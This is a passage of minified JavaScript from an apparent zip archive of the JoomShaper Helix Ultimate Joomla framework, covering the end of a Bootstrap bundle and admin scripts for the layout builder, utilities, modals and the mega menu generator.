"${t}"`);e[t]()}}))}}w(Ft);const Wt={offset:10,method:"auto",target:""},Kt={offset:"number",method:"string",target:"(string|element)"};class Vt extends z{constructor(t,e){super(t),this._scrollElement="BODY"===this._element.tagName?window:this._element,this._config=this._getConfig(e),this._selector=`${this._config.target} .nav-link, ${this._config.target} .list-group-item, ${this._config.target} .dropdown-item`,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,$.on(this._scrollElement,"scroll.bs.scrollspy",()=>this._process()),this.refresh(),this._process()}static get Default(){return Wt}static get NAME(){return"scrollspy"}refresh(){const t=this._scrollElement===this._scrollElement.window?"offset":"position",e="auto"===this._config.method?t:this._config.method,s="position"===e?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),i.find(this._selector).map(t=>{const n=r(t),o=n?i.findOne(n):null;if(o){const t=o.getBoundingClientRect();if(t.width||t.height)return[K[e](o).top+s,n]}return null}).filter(t=>t).sort((t,e)=>t[0]-e[0]).forEach(t=>{this._offsets.push(t[0]),this._targets.push(t[1])})}dispose(){$.off(this._scrollElement,".bs.scrollspy"),super.dispose()}_getConfig(t){if("string"!=typeof(t={...Wt,...K.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}}).target&&h(t.target)){let{id:e}=t.target;e||(e=n("scrollspy"),t.target.id=e),t.target="#"+e}return g("scrollspy",t,Kt),t}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),s=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=s){const t=this._targets[this._targets.length-1];this._activeTarget!==t&&this._activate(t)}else{if(this._activeTarget&&t<this._offsets[0]&&this._offsets[0]>0)return this._activeTarget=null,void this._clear();for(let e=this._offsets.length;e--;)this._activeTarget!==this._targets[e]&&t>=this._offsets[e]&&(void 0===this._offsets[e+1]||t<this._offsets[e+1])&&this._activate(this._targets[e])}}_activate(t){this._activeTarget=t,this._clear();const e=this._selector.split(",").map(e=>`${e}[data-bs-target="${t}"],${e}[href="${t}"]`),s=i.findOne(e.join(","));s.classList.contains("dropdown-item")?(i.findOne(".dropdown-toggle",s.closest(".dropdown")).classList.add("active"),s.classList.add("active")):(s.classList.add("active"),i.parents(s,".nav, .list-group").forEach(t=>{i.prev(t,".nav-link, .list-group-item").forEach(t=>t.classList.add("active")),i.prev(t,".nav-item").forEach(t=>{i.children(t,".nav-link").forEach(t=>t.classList.add("active"))})})),$.trigger(this._scrollElement,"activate.bs.scrollspy",{relatedTarget:t})}_clear(){i.find(this._selector).filter(t=>t.classList.contains("active")).forEach(t=>t.classList.remove("active"))}static jQueryInterface(t){return this.each((function(){const e=Vt.getInstance(this)||new Vt(this,"object"==typeof t?t:{});if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}$.on(window,"load.bs.scrollspy.data-api",()=>{i.find('[data-bs-spy="scroll"]').forEach(t=>new Vt(t))}),w(Vt);class Qt extends z{static get NAME(){return"tab"}show(){if(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&this._element.classList.contains("active"))return;let t;const e=a(this._element),s=this._element.closest(".nav, .list-group");if(s){const e="UL"===s.nodeName||"OL"===s.nodeName?":scope > li > .active":".active";t=i.find(e,s),t=t[t.length-1]}const n=t?$.trigger(t,"hide.bs.tab",{relatedTarget:this._element}):null;if($.trigger(this._element,"show.bs.tab",{relatedTarget:t}).defaultPrevented||null!==n&&n.defaultPrevented)return;this._activate(this._element,s);const o=()=>{$.trigger(t,"hidden.bs.tab",{relatedTarget:this._element}),$.trigger(this._element,"shown.bs.tab",{relatedTarget:t})};e?this._activate(e,e.parentNode,o):o()}_activate(t,e,s){const n=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?i.children(e,".active"):i.find(":scope > li > .active",e))[0],o=s&&n&&n.classList.contains("fade"),r=()=>this._transitionComplete(t,n,s);n&&o?(n.classList.remove("show"),this._queueCallback(r,t,!0)):r()}_transitionComplete(t,e,s){if(e){e.classList.remove("active");const t=i.findOne(":scope > .dropdown-menu .active",e.parentNode);t&&t.classList.remove("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}t.classList.add("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),b(t),t.classList.contains("fade")&&t.classList.add("show");let n=t.parentNode;if(n&&"LI"===n.nodeName&&(n=n.parentNode),n&&n.classList.contains("dropdown-menu")){const e=t.closest(".dropdown");e&&i.find(".dropdown-toggle",e).forEach(t=>t.classList.add("active")),t.setAttribute("aria-expanded",!0)}s&&s()}static jQueryInterface(t){return this.each((function(){const e=A.get(this,"bs.tab")||new Qt(this);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}$.on(document,"click.bs.tab.data-api",'[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),p(this)||(A.get(this,"bs.tab")||new Qt(this)).show()})),w(Qt);const Xt={animation:"boolean",autohide:"boolean",delay:"number"},Yt={animation:!0,autohide:!0,delay:5e3};class Gt extends z{constructor(t,e){super(t),this._config=this._getConfig(e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get DefaultType(){return Xt}static get Default(){return Yt}static get NAME(){return"toast"}show(){$.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove("hide"),b(this._element),this._element.classList.add("showing"),this._queueCallback(()=>{this._element.classList.remove("showing"),this._element.classList.add("show"),$.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()},this._element,this._config.animation))}hide(){this._element.classList.contains("show")&&($.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.remove("show"),this._queueCallback(()=>{this._element.classList.add("hide"),$.trigger(this._element,"hidden.bs.toast")},this._element,this._config.animation)))}dispose(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),super.dispose()}_getConfig(t){return t={...Yt,...K.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}},g("toast",t,this.constructor.DefaultType),t}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const s=t.relatedTarget;this._element===s||this._element.contains(s)||this._maybeScheduleHide()}_setListeners(){$.on(this._element,"click.dismiss.bs.toast",'[data-bs-dismiss="toast"]',()=>this.hide()),$.on(this._element,"mouseover.bs.toast",t=>this._onInteraction(t,!0)),$.on(this._element,"mouseout.bs.toast",t=>this._onInteraction(t,!1)),$.on(this._element,"focusin.bs.toast",t=>this._onInteraction(t,!0)),$.on(this._element,"focusout.bs.toast",t=>this._onInteraction(t,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){let e=A.get(this,"bs.toast");if(e||(e=new Gt(this,"object"==typeof t&&t)),"string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return w(Gt),{Alert:U,Button:q,Carousel:J,Collapse:st,Dropdown:ut,Modal:At,Offcanvas:Ct,Popover:Ft,ScrollSpy:Vt,Tab:Qt,Toast:Gt,Tooltip:Bt}}));PK!���F7+7+'helixultimate/assets/js/admin/layout.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(t){function e(){let e=-1,n=-1;t("#hu-layout-builder").sortable({placeholder:"ui-state-highlight",forcePlaceholderSize:!0,axis:"y",opacity:1,tolerance:"pointer",start(t,o){e=o.item.index()},stop(t,a){n=a.item.index(),e!==n&&(o(),Joomla.HelixToaster.success("Rows position changed!","Layout Settings"))}}).disableSelection(),t(".hu-layout-section").find("[data-hu-layout-row]").rowSortable()}function o(){var e;t("#layout").val(JSON.stringify((e=[],t("#hu-layout-builder").find(".hu-layout-section").each((function(o){var n=t(this),a=o,i=n.data();delete i.sortableItem;var l=n.find(".hu-column-layout.active").data("layout"),s=12;12!=l&&(s=l.split(",").join("")),e[a]={type:"row",layout:s,settings:i,attr:[]},n.find(".hu-layout-column").each((function(o){var n=o,i=t(this).data();delete i.sortableItem,e[a].attr[n]={type:"sp_col",settings:i}}))})),e))).trigger("change")}t(document).on("click",".hu-add-columns",(function(e){e.preventDefault(),e.stopPropagation(),t(this).closest("li").find(".hu-column-list").slideToggle(300),console.log("click fired")})),t(document).on("click",".hu-column-layout:not(.hu-layout-custom-btn)",(function(){t(this).closest(".hu-column-list").slideUp(300)})),t.fn.rowSortable=function(){let e=-1,n=-1;t(this).sortable({placeholder:"ui-state-highlight",forcePlaceholderSize:!0,axis:"x",opacity:1,tolerance:"pointer",start(o,n){t(".hu-layout-section [data-hu-layout-row]").find(".ui-state-highlight").addClass(t(n.item).attr("class")),t(".hu-layout-section [data-hu-layout-row]").find(".ui-state-highlight").css("height",t(n.item).outerHeight()),e=n.item.index()},stop(t,a){n=a.item.index(),e!==n&&(o(),Joomla.HelixToaster.success("Columns position changed!","Layout Settings"))}}).disableSelection()},e(),t.fn.setInputValue=function(e){console.log(e),"checkbox"==this.attr("type")?"1"==e.field?this.attr("checked","checked"):this.removeAttr("checked"):this.hasClass("input-select")?(this.val(e.field),this.trigger("liszt:updated"),this.trigger("chosen:updated")):this.hasClass("input-media")?(e.field&&($imgParent=this.parent(".media"),$imgParent.find("img.media-preview").each((function(){t(this).attr("src",layoutbuilder_base+e.field)}))),this.val(e.field)):this.val(e.field),"column_type"==this.data("attrname")&&"component"==this.val()&&t(".form-group.name").hide()},t.fn.getInputValue=function(){return"checkbox"==this.attr("type")?this.prop("checked")?"1":"0":this.val()},t.fn.initColorPicker=function(){Joomla.initColorPicker(this.find(".minicolors"))},t(document).on("click",".hu-row-options",(function(e){e.preventDefault(),t(this).helixUltimateOptionsModal({flag:"row-setting",title:"<span class='fas fa-cogs hu-mr-2'></span> Row Options",class:"hu-modal-small"}),t(".hu-layout-section").removeClass("row-active"),$parent=t(this).closest(".hu-layout-section"),$parent.addClass("row-active"),t("#hu-row-settings").find("select.hu-input").each((function(){t(this).chosen("destroy")}));var o=t("#hu-row-settings").clone(!0);o.find(".hu-input-color").each((function(){t(this).addClass("minicolors")})),o.find("select.hu-input").each((function(){t(this).chosen({width:"100%"})})),(o=t(".hu-options-modal-inner").html(o.removeAttr("id").addClass("hu-options-modal-content"))).find(".hu-input").each((function(){var e=t(this),o=$parent.data(e.data("attrname"));if(e.setInputValue({field:o}),e.hasClass("hu-input-media")&&o){e.prev(".hu-image-holder").html('<img src="'+e.data("baseurl")+o+'" alt="">');let t=e.siblings(".hu-media-clear");t.hasClass("hide")&&t.removeClass("hide")}})),o.initColorPicker()})),t(document).on("click",".hu-column-options",(function(e){e.preventDefault(),t(this).helixUltimateOptionsModal({flag:"column-setting",title:"<span class='fas fa-cog'></span> Column Options",class:"hu-modal-small"}),t(".hu-layout-column").removeClass("column-active"),$parent=t(this).closest(".hu-layout-column"),$parent.addClass("column-active"),t("#hu-column-settings").find("select.hu-input").each((function(){t(this).chosen("destroy")}));var o=t("#hu-column-settings").clone(!0);o.find(".hu-input-color").each((function(){t(this).addClass("minicolors")})),(o=t(".hu-options-modal-inner").html(o.removeAttr("id").addClass("hu-options-modal-content"))).find(".hu-input").each((function(){var e=t(this),o=$parent.data(e.data("attrname"));e.setInputValue({field:o})})),o.find("select.hu-input").each((function(){t(this).chosen({width:"100%"})})),o.initColorPicker()})),t(".hu-input-column_type").change((function(e){var n=t(this).closest(".hu-modal-content"),a=!1;if(t("#hu-layout-builder").find(".hu-layout-column").not(".column-active").each((function(e,o){if("1"==t(this).data("column_type"))return a=!0,!1})),a)return alert("Component Area Taken"),t(this).prop("checked",!1),n.children(".control-group.name").slideDown("400"),!1;t(this).attr("checked")?(t(".hu-layout-column.column-active").find(".hu-column").addClass("hu-column-component"),n.children(".control-group.name").slideUp("400")):(t("#hu-layout-builder").find(".hu-column-component").removeClass("hu-column-component"),n.children(".control-group.name").slideDown("400")),o()})),t(document).on("click",".hu-settings-apply",(function(e){switch(e.preventDefault(),t(this).data("flag")){case"row-setting":t(".hu-options-modal-content").find(".hu-input").each((function(){var e=t(this),o=t(".row-active"),n=e.data("attrname");if(o.removeData(n),"name"==n){var a=e.val();""==a||null==a?t(".row-active .hu-section-title").text("Section Header"):t(".row-active .hu-section-title").text(e.val())}o.data(n,e.getInputValue())})),t(".hu-options-modal-overlay, .hu-options-modal").remove(),t("body").removeClass("hu-options-modal-open");break;case"column-setting":var n=!1;t(".hu-options-modal-content").find(".hu-input").each((function(){var e=t(this),o=t(".column-active"),a=e.data("attrname"),i=e.val();o.removeData(a),"column_type"==a&&t(this).attr("checked")?(n=!0,t(".column-active .hu-column-title").text("Component")):"name"==a&&1!=n&&(""!=i&&null!=i||(i="none"),t(".column-active .hu-column-title").text(i)),o.data(a,e.getInputValue())})),t(".hu-options-modal-overlay, .hu-options-modal").remove(),t("body").removeClass("hu-options-modal-open");break;case"menu-row-setting":case"menu-col-setting":t(".hu-options-modal-overlay, .hu-options-modal").remove(),t("body").removeClass("hu-options-modal-open");break;default:alert("You are doing somethings wrongs. Try again")}o(),Joomla.HelixToaster.success("Changes applied successfully!","Layout Settings")})),t(document).on("click",".hu-settings-cancel, .action-hu-options-modal-close",(function(e){e.preventDefault(),t(".hu-options-modal-overlay, .hu-options-modal").remove(),t("body").removeClass("hu-options-modal-open")})),t(document).on("click",".hu-column-layout",(function(n){n.preventDefault();var a=t(this),i=a.data("type");if((!a.hasClass("active")||"custom"==i)&&"custom"!==i){var l=a.closest(".hu-column-list"),s=a.closest(".hu-layout-section"),u=l.find(".active").data("layout"),c=a.data("layout"),h=["12"];12!=u&&u.split("+"),12!=c&&(h=c.split("+"));var r=[],d=[];s.find(".hu-layout-column").each((function(e,o){r[e]=t(this).html();var n=t(this).data();d[e]="object"==typeof n?t(this).data():""})),l.find(".active").removeClass("active"),a.addClass("active");for(var m="",p=0;p<h.length;p++){var f="";"object"!=typeof d[p]?d[p]={grid_size:h[p].trim(),column_type:0,name:"none"}:d[p].grid_size=h[p].trim(),t.each(d[p],(function(t,e){f+=" data-"+t+'="'+e+'"'})),m+='<div class="hu-layout-column col-'+h[p].trim()+'" '+f+">",r[p]?m+=r[p]:(m+='<div class="hu-column">',m+='<span class="hu-column-title">none</span>',m+='<a class="hu-column-options" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="3" fill="none"><path fill="#020B53" fill-rule="evenodd" d="M3 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zm6 0a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd" opacity=".4"/></svg></a>',m+="</div>"),m+="</div>"}$old_column=s.find(".hu-layout-column"),s.find("[data-hu-layout-row]").append(m),$old_column.remove(),e(),Joomla.HelixToaster.success("Grid pattern updated to <strong>"+h.join("+")+"</strong>","Layout Settings"),o()}})),t(document).on("click",".hu-layout-custom-btn",(function(e){e.preventDefault();t(this).closest(".hu-column-list").find(".hu-layout-custom").slideToggle(300)})),t(document).on("click",".hu-layout-custom-apply",(function(n){n.preventDefault();let a=t(this).closest(".hu-column-list").find(".hu-layout-custom-btn"),i=a.closest(".hu-column-list"),l=a.closest(".hu-layout-section"),s=i.find(".active").data("layout"),u=["12"],c=column=t(this).closest("div").find("input").val()||"12",h=["12"];12!=s&&(u=s.split("+")),12!=c&&(h=c.split("+"));var r=column.split("+");if(12!=r.reduce((function(t,e){return Number(t)+Number(e)})))return void alert("Invalid grid pattern!");h=r,a.data("layout",column).attr("data-layout",column);var d=[],m=[];l.find(".hu-layout-column").each((function(e,o){d[e]=t(this).html();var n=t(this).data();m[e]="object"==typeof n?t(this).data():""})),i.find(".active").removeClass("active"),a.addClass("active");let p="";for(let e=0;e<h.length;e++){let o="";"object"!=typeof m[e]?m[e]={grid_size:h[e].trim(),column_type:0,name:"none"}:m[e].grid_size=h[e].trim(),t.each(m[e],(function(t,e){o+=" data-"+t+'="'+e+'"'})),p+='<div class="hu-layout-column col-'+h[e].trim()+'" '+o+">",d[e]?p+=d[e]:(p+='<div class="hu-column">',p+='<span class="hu-column-title">none</span>',p+='<a class="hu-column-options" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="3" fill="none"><path fill="#020B53" fill-rule="evenodd" d="M3 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zm6 0a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd" opacity=".4"/></svg></a>',p+="</div>"),p+="</div>"}$old_column=l.find(".hu-layout-column"),l.find("[data-hu-layout-row]").append(p),$old_column.remove(),e(),Joomla.HelixToaster.success("Grid pattern updated to <strong>"+h.join("+")+"</strong>","Layout Settings"),o(),a.closest(".hu-column-list").slideUp(300)})),t(document).on("click",".hu-add-row",(function(n){n.preventDefault();var a=t(this).closest(".hu-layout-section"),i=t("#hu-layout-section").clone(!0);i.addClass("hu-layout-section").removeAttr("id"),t(i).insertAfter(a),e(),Joomla.HelixToaster.success("New row added!","Layout Settings"),o()})),t(document).on("click",".hu-remove-row",(function(e){e.preventDefault(),1==confirm("Click Ok button to delete Row, Cancel to leave.")&&t(this).closest(".hu-layout-section").slideUp(500,(function(){t(this).remove(),Joomla.HelixToaster.error("Row is removed!","Layout Settings"),o()}))})),t(document).on("click",".remove-media",(function(){t(this).parent(".media").find("img.media-preview").each((function(){t(this).attr("src",""),t(this).closest(".image-preview").css("display","none")})),o()}))}));PK!Br���&helixultimate/assets/js/admin/utils.jsnu&1i�const asciiToHex=e=>"0x"+e.split("").map((e=>e.charCodeAt(0).toString(16))).join(""),getCurrentTimeString=()=>{const e=new Date;return e.getFullYear()+"-"+(e.getMonth()+1)+"-"+e.getDate()+"-"+e.getHours()+":"+e.getMinutes()+":"+e.getSeconds()+":"+e.getMinutes()},helixHash=e=>{let t=0;const{length:n}=e;if(0===n)return t;for(let i=0;i<n;i++){t=(t<<5)-t+e.charCodeAt(i),t&=t}return t},triggerEvent=(e,t)=>{if(document.createEvent&&e){const n=document.createEvent("HTMLEvents");n.initEvent(t,!1,!1),e.dispatchEvent(n)}},setCookie=(e,t="",n=1)=>{let i="";if(n){let e=new Date;e.setTime(e.getTime()+24*n*60*60*1e3),i="; expires="+e.toUTCString()}document.cookie=e+"="+t+i+"; path=/"},getCookie=e=>{e+="=";let t=document.cookie.split(";");for(let n=0;n<t.length;n++){let i=t[n];for(;" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(e))return i.substring(e.length,i.length)}},deleteCookie=e=>{document.cookie=e+"=; Max-Age=-99999999;"},debounce=(e,t)=>{let n;return function(){let i=this,o=arguments,s=function(){n=null,e.apply(i,o)};clearTimeout(n),n=setTimeout(s,t||200)}},getCenterPosition=e=>{const{top:t,left:n,width:i,height:o}=e.getBoundingClientRect();return{x:n+i/2,y:t+o/2}},getDistance=(e,t)=>{const n=getCenterPosition(e),i=getCenterPosition(t);return{distanceX:Math.floor(Math.abs(n.x-i.x)),distanceY:Math.floor(Math.abs(n.y-i.y))}};function calculateSiblingDistances(){const e=".hu-menu-tree-branch";$(e).each((function(){const t=$(this).getBranchLevel()||1;if($(this).find(".hu-menu-branch-path").show(),"function"==typeof $(this).nextSibling)if(t>1){const n=$(this).nextSibling();if(n.length){const e=getDistance($(this).get(0),n.get(0));n.find(".hu-menu-branch-path").css("height",`${Math.max(e.distanceY+8,55)}px`)}else{const n=$(this).next(e),i=n.getBranchLevel()||1;n.length>0&&i>t&&n.find(".hu-menu-branch-path").css("height","55px")}}else $(this).find(".hu-menu-branch-path").hide()}))}Joomla.utils={asciiToHex:asciiToHex,getCurrentTimeString:getCurrentTimeString,helixHash:helixHash,triggerEvent:triggerEvent,setCookie:setCookie,getCookie:getCookie,deleteCookie:deleteCookie,debounce:debounce,getDistance:getDistance,calculateSiblingDistances:calculateSiblingDistances};PK!)��r**(helixultimate/assets/js/admin/details.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery((function(o){o(".hu-options").unwrap(),o(".hu-options").prev().remove()}));PK!i��#77&helixultimate/assets/js/admin/modal.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(a){a.fn.extend({closeModal(){return a(".hu-modal-overlay, .hu-modal").fadeOut().remove(),a("body").removeClass("hu-modal-open"),this}}),a.fn.helixUltimateMegamenuModal=function(e){e=a.extend({title:"Mega Menu",className:"",targetType:"id",target:"",body:"",footer:""},e),a(".hu-modal-overlay, .hu-modal").remove();const{title:s,className:t,targetType:l,target:d,body:n,footer:o}=e;let i='<div class="hu-modal-overlay"></div>';i+='<div class="hu-modal '+t+'" data-target_type="'+l+'" data-target="'+d+'" style="display:none;">',i+='<div class="hu-modal-header">',i+='<h4 class="hu-modal-header-title">'+s+"</h4>",i+='<a href="#" class="action-hu-modal-close"><span class="fas fa-times" aria-hidden="true"></span></a>',i+="</div>",i+='<div class="hu-modal-inner">',i+='<div class="hu-modal-content">',n&&(i+='<div class="hu-modal-megamenu-container">',i+=n,i+="</div>"),i+="</div>",i+="</div>",i+='<div class="hu-modal-footer footer-right">',i+='<button class="hu-btn hu-btn-link hu-megamenu-cancel-btn">Cancel</button>',i+='<button class="hu-btn hu-btn-primary hu-megamenu-save-btn">Save</button>',i+="</div>",i+="</div>";const r=a("body").addClass("hu-modal-open");r.append(i),r.find(".hu-modal").fadeIn(300)},a.fn.helixUltimateFrameModal=function(e){e=a.extend({title:"Helix Ultimate",className:"",targetType:"",target:"",footer:"",frameUrl:""},e);const{title:s,target:t,targetType:l,body:d,footer:n,frameUrl:o,className:i}=e;a(".hu-modal-overlay, .hu-modal").remove();let r='<div class="hu-modal-overlay"></div>';r+='<div class="hu-modal '+i+'" data-target_type="'+l+'" data-target="'+t+'" style="display:none;">',r+='<div class="hu-modal-header">',r+='<h4 class="hu-modal-header-title">'+s+"</h4>",r+='<a href="#" class="action-hu-modal-close"><span class="fas fa-times" aria-hidden="true"></span></a>',r+="</div>",r+='<div class="hu-modal-inner">',r+='<div class="hu-modal-content">',o&&(r+='<div class="hu-modal-frame-container">',r+='<iframe src="'+o+'" width="100%" height="100%"></iframe>',r+="</div>"),r+="</div>",r+="</div>",r+='<div class="hu-modal-footer footer-right">',r+='<button class="hu-btn hu-btn-link hu-cancel-btn">Cancel</button>',r+='<button class="hu-btn hu-btn-primary hu-save-btn">',r+='<div class="hu-spinner hidden spinner-border spinner-border-sm" role="status"><span class="visually-hidden">Loading...</span></div>',r+=" Save",r+="</button>",r+="</div>",r+="</div>",r+="</div>";const h=a("body").addClass("hu-modal-open");h.append(r),h.find(".hu-modal").fadeIn(300)},a.fn.helixUltimateModal=function(e){e=a.extend({target_type:"",target:""},e);a(".hu-modal-overlay, .hu-modal").remove();var s='<div class="hu-modal-overlay"></div>';s+='<div class="hu-modal" data-target_type="'+e.target_type+'" data-target="'+e.target+'">',s+='<div class="hu-modal-header">',s+='<input type="file" id="hu-file-input" accept="image/png, image/jpg, image/jpeg, image/gif, image/svg+xml, image/x-icon" style="display:none;" multiple>',s+='<div class="hu-modal-breadcrumbs"></div>',s+='<div class="hu-modal-actions-left">',s+='<a href="#" class="hu-btn hu-btn-primary hu-modal-action-select hu-mr-2"><span class="fas fa-check" aria-hidden="true"></span> Select</a>',s+='<a href="#" class="hu-btn hu-btn-secondary hu-modal-action-cancel hu-mr-2"><span class="fas fa-times" aria-hidden="true"></span> Cancel</a>',s+='<a href="#" class="hu-btn hu-btn-danger hu-btn-last hu-modal-action-delete"><span class="fas fa-minus-circle" aria-hidden="true"></span> Delete</a>',s+="</div>",s+='<div class="hu-modal-actions-right">',s+='<a href="#" class="hu-btn hu-btn-primary hu-modal-action-upload hu-mr-2"><span class="fas fa-upload" aria-hidden="true"></span> Upload</a>',s+='<a href="#" class="hu-btn hu-btn-secondary hu-btn-last hu-modal-action-new-folder"><span class="fas fa-plus" aria-hidden="true"></span> New Folder</a>',s+='<a href="#" class="action-hu-modal-close"><span class="fas fa-times" aria-hidden="true"></span></a>',s+="</div>",s+="</div>",s+='<div class="hu-modal-inner">',s+='<div class="hu-modal-preloader"><span class="fas fa-circle-notch fa-pulse fa-spin fa-3x fa-fw" aria-hidden="true"></span></div>',s+="</div>",s+="</div>",a("body").addClass("hu-modal-open").append(s)},a.fn.helixUltimateOptionsModal=function(e){e=a.extend({target:"",title:"Options",flag:"",class:"",applyBtnClass:"hu-settings-apply",footerButtons:[]},e);a(".hu-options-modal-overlay, .hu-options-modal").remove();var s='<div class="hu-options-modal-overlay"></div>';s+='<div class="hu-options-modal '+e.class+'" data-target="#'+e.target+'">',s+='<div class="hu-options-modal-header">',s+='<span class="hu-options-modal-header-title">'+e.title+"</span>",s+='<a href="#" class="action-hu-options-modal-close"><span class="fas fa-times" aria-hidden="true"></span></a>',s+="</div>",s+='<div class="hu-options-modal-inner">',s+='<div class="hu-options-modal-content">',s+="</div>",s+="</div>",s+='<div class="hu-options-modal-footer">',s+=`<a href="#" class="hu-btn hu-btn-primary ${e.applyBtnClass}" data-flag="${e.flag}"><span class="fas fa-check"></span> Apply</a>`,e.footerButtons.length&&(s+=e.footerButtons.map((a=>a))),s+="</div>",s+="</div>",a("body").addClass("hu-options-modal-open").append(s)}}));PK!`��QQ/helixultimate/assets/js/admin/menu.generator.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(e){function a(){e(".hu-megamenu-item-list").sortable({connectWith:".hu-megamenu-item-list",items:" .hu-megamenu-item",placeholder:"drop-highlight",start:function(e,a){a.placeholder.height(a.item.height())},stop:function(e,a){}}).disableSelection(),e(".hu-megamenu-module-list").sortable({connectWith:".hu-megamenu-item-list",items:" .hu-megamenu-draggable-module",placeholder:"drop-highlight",helper:"clone",start:function(e,a){a.placeholder.height(a.item.height())},update:function(t,n){var u=n.item.text(),o='<div class="hu-megamenu-item-module"><div class="hu-megamenu-item-module-title"><a href="javascript:;" class="hu-megamenu-remove-module"><span class="fas fa-times" aria-hidden="true"></span></a><span>'+u+"</span></div></div>";n.item.removeAttr("style class").addClass("hu-megamenu-item").html(o),n.item.clone().insertAfter(n.item.html('<span class="fas fa-arrows-alt" aria-hidden="true"></span> '+u).removeAttr("class").addClass("hu-megamenu-draggable-module")),e(this).sortable("cancel"),a()}}).disableSelection(),e(".hu-megamenu-row").sortable({start:function(e,a){a.placeholder.height(a.item.height()),a.placeholder.width(a.item.width()-50)},items:".hu-megmenu-col",handle:".hu-action-move-column",placeholder:"drop-col-highlight",stop:function(e,a){}}),e("#hu-megamenu-layout").sortable({start:function(e,a){a.placeholder.height(a.item.height()),a.placeholder.width(a.item.width()-50)},items:".hu-megamenu-row",handle:".hu-action-move-row",placeholder:"drop-highlight",stop:function(e,a){}}),e(document).on("click",".hu-megamenu-remove-module",(function(a){a.preventDefault(),e(this).closest(".hu-megamenu-item").remove()}))}e("#attrib-helixultimatemegamenu").find(".control-group").first().find(".control-label").remove(),e("#attrib-helixultimatemegamenu").find(".control-group").first().find(">.controls").removeClass().addClass("megamenu").unwrap(),e(document).on("click","#hu-megamenu-toggler",(function(a){var t=e(this).is(":checked");e("#hu-megamenu-layout").data("megamenu",t),t?(e(".hu-megamenu-field-control, .hu-megamenu-sidebar").removeClass("hide-menu-builder"),e(".hu-dropdown-field-control").addClass("hide-menu-builder")):(e(".hu-megamenu-field-control, .hu-megamenu-sidebar").addClass("hide-menu-builder"),e(".hu-dropdown-field-control").removeClass("hide-menu-builder"))})),e(document).on("change","#hu-megamenu-width",(function(a){e("#hu-megamenu-layout").data("width",e(this).val())})),e(document).on("change","#hu-megamenu-alignment",(function(a){e("#hu-megamenu-layout").data("menualign",e(this).val())})),e(document).on("click","#hu-megamenu-title-toggler",(function(a){e("#hu-megamenu-layout").data("showtitle",e(this).is(":checked"))})),e(document).on("change","#hu-megamenu-dropdown",(function(a){e("#hu-megamenu-layout").data("dropdown",e(this).val())})),e(document).on("change","#hu-megamenu-fa-icon",(function(a){e("#hu-megamenu-layout").data("faicon",e(this).val())})),e(document).on("change","#hu-megamenu-custom-class",(function(a){e("#hu-megamenu-layout").data("customclass",e(this).val())})),e(document).on("change","#hu-megamenu-menu-badge",(function(a){e("#hu-megamenu-layout").data("badge",e(this).val())})),e(document).on("change","#hu-megamenu-b